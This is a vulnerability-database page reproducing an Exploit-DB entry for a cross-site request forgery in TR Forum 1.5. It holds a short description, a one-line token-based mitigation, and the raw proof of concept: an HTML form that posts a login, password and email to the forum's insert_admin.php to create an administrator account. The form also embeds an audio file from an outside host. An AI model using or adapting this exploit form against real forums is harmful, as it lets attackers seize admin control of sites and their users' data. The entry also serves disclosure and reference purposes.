TR Forum 1.5 insert admin CSRF Vulnerability

vendor:

TR Forum

by:

EL-KAHINA

8,8

CVSS

HIGH

CSRF

352

CWE

Product Name: TR Forum

Affected Version From: TR Forum 1.5

Affected Version To: TR Forum 1.5

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux

2009

TR Forum 1.5 insert admin CSRF Vulnerability

A CSRF vulnerability exists in TR Forum 1.5, which allows an attacker to insert an admin user by sending a maliciously crafted request. The attacker can craft a malicious HTML page containing a form with the necessary parameters to add an admin user, and then send it to a victim. When the victim visits the page, the form will be automatically submitted, and the attacker will gain admin access to the forum.

Mitigation:

Implementing a CSRF protection mechanism, such as a unique token, can help mitigate this vulnerability.

Source

Exploit-DB raw data:

========================================================================================                  
| # Title    : TR Forum 1.5 insert admin CSRF Vulnerability           
| # Author   : EL-KAHINA                                                               
| # email    : No-Mail                                                  
| # Home     : www.iqs3cur1ty.com/vb                                                                                                                                                                                                                   
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : CSRF                                                                     
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 insert admin CSRF :
 
 <html>
<head>
<form name="poster" method="post" action="http://127.0.0.1/forum/admin/insert_admin.php">
  <table class="header" border="0" align="center" width="500">
    <tr>
      <td align="center"><font class="titre">Ajouter un modérateur</font></td>
    </tr>
  </table>
  <br>
     <CENTER><EMBED align=left 
src=http://h1.ripway.com/ma3karouna/1.mp3
  <table class="right" width="500" border="0" align="center" >
<tr>
  <td class="text">login</td>
  <td><input type="text" name="login"></td>
</tr>
<tr>
  <td class="text">password</td>
  <td><input type="password" name="password"></td>
</tr>
<tr>
  <td class="text">email</td>
  <td><input type="text" name="mail"></td>
</tr>
<tr>
<td colspan="2" align="right"><input class="button" type="submit" value="valider"></td>
</tr>
</table>
<br>
</form>
</body>
</html>
 
==========================================
Greetz : Exploit-db Team 
all my friend :(Dz-Ghost Team ) 
im indoushka's sister
------------------------------------------